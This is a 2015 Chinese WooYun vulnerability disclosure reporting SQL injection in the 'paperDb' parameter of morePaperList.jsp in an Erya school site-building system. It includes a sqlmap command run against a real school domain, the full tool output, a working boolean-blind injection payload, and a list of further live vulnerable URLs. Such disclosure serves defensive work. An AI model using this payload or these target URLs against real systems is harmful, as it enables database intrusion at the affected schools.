当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110498

漏洞标题:尔雅旗下某通用建站系统sql注入,涉及几百所学校

相关厂商:erya100.com

漏洞作者: 好基友一辈子

提交时间:2015-04-27 15:20

修复时间:2015-07-26 15:48

公开时间:2015-07-26 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-27: 细节已通知厂商并且等待厂商处理中
2015-04-27: 厂商已经确认,细节仅向厂商公开
2015-04-30: 细节向第三方安全合作伙伴开放
2015-06-21: 细节向核心白帽子及相关领域专家公开
2015-07-01: 细节向普通白帽子公开
2015-07-11: 细节向实习白帽子公开
2015-07-26: 细节向公众公开

简要描述:

通用?or不通用? 取决与你怎么看了,是尔雅的一个系统,给数百所学校搭建分站。。

详细说明:

漏洞页面/morePaperList.jsp
注入参数:paperDb

[root@Hacker~]# Sqlmap -u "http://tiwen.gdhsfz.xuexi365.com/paper2fav/morePaperL
ist.jsp?paperDb=rhdb3-0&school=3&search_Subjects=0"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:55:50
[15:55:51] [INFO] testing connection to the target URL
[15:55:52] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[15:55:55] [INFO] target URL is stable
[15:55:55] [INFO] testing if GET parameter 'paperDb' is dynamic
[15:55:57] [INFO] confirming that GET parameter 'paperDb' is dynamic
[15:55:57] [INFO] GET parameter 'paperDb' is dynamic
[15:56:00] [WARNING] heuristic (basic) test shows that GET parameter 'paperDb' m
ight not be injectable
[15:56:00] [INFO] testing for SQL injection on GET parameter 'paperDb'
[15:56:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:06] [WARNING] reflective value(s) found and filtering out
[15:56:17] [INFO] GET parameter 'paperDb' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[15:56:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:56:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:56:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:56:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:56:23] [INFO] testing 'MySQL inline queries'
[15:56:23] [INFO] testing 'PostgreSQL inline queries'
[15:56:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:56:23] [INFO] testing 'Oracle inline queries'
[15:56:23] [INFO] testing 'SQLite inline queries'
[15:56:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:56:23] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:56:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:56:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:56:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:56:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:56:45] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[15:56:45] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. '--flush-session --tec
hnique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec
=2')
[15:56:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:56:46] [INFO] testing 'Oracle AND time-based blind'
[15:56:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:56:47] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[15:57:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[15:57:47] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[15:58:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:58:05] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:58:28] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[15:59:12] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[15:59:24] [INFO] checking if the injection point on GET parameter 'paperDb' is
a false positive
GET parameter 'paperDb' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] n
sqlmap identified the following injection points with a total of 80 HTTP(s) requ
ests:
---
Place: GET
Parameter: paperDb
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: paperDb=rhdb3-0' AND 1972=1972 AND 'xfca'='xfca&school=3&search_Sub
jects=0
---
[16:01:01] [INFO] testing MySQL
[16:01:01] [WARNING] the back-end DBMS is not MySQL
[16:01:01] [INFO] testing Oracle
[16:01:01] [WARNING] the back-end DBMS is not Oracle
[16:01:01] [INFO] testing PostgreSQL
[16:01:01] [WARNING] the back-end DBMS is not PostgreSQL
[16:01:01] [INFO] testing Microsoft SQL Server
[16:01:03] [INFO] confirming Microsoft SQL Server
[16:01:07] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[16:01:07] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 30 times
[16:01:07] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\tiwen.gdhsfz.xuexi365.com'
[*] shutting down at 16:01:07

漏洞证明:

http://tiwen.myjy.chaoxing.com/paper2fav/morePaperList.jsp?paperDb=rhdb2-8
http://www.tiwen365.com/paper2fav/morePaperList.jsp?paperDb=rhdb1-0&school=1&search_Subjects=0
http://shanxi.tiwen365.com/paper2fav/morePaperList.jsp?paperDb=rhdb3-1&school=1&search_Subjects=1
http://tiwen.gdhsfz.xuexi365.com/paper2fav/morePaperList.jsp?paperDb=rhdb3-0&school=3&search_Subjects=0
http://tiwen.bjjz.chaoxing.com/paper2fav/morePaperList.jsp?paperDb=rhdb3-0&school=3&search_Subjects=0
以上都不是一个单位的站。。。

修复方案:

版权声明:转载请注明来源 好基友一辈子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-27 15:47

厂商回复:

dd

最新状态:

暂无